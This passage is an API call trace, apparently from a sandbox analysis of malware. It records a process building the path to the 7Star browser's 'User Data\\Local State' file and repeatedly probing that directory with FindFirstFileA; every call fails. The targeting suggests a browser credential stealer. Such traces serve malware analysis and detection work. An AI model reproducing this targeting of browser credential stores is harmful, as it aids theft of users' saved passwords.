[0052.838] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\"
[0052.838] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State"
[0052.838] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71
[0052.838] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x67d968
[0052.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=71, lpWideCharStr=0x67d968, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State") returned 71
[0052.839] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x67da00
[0052.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.839] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\local state")) returned 0xffffffff
[0052.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da00 | out: hHeap=0x670000) returned 1
[0052.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.839] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*") returned 60
[0052.839] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.839] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.839] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.839] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.839] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.839] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.839] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.840] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.840] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.841] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.841] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
[0052.842] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.842] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*") returned 62
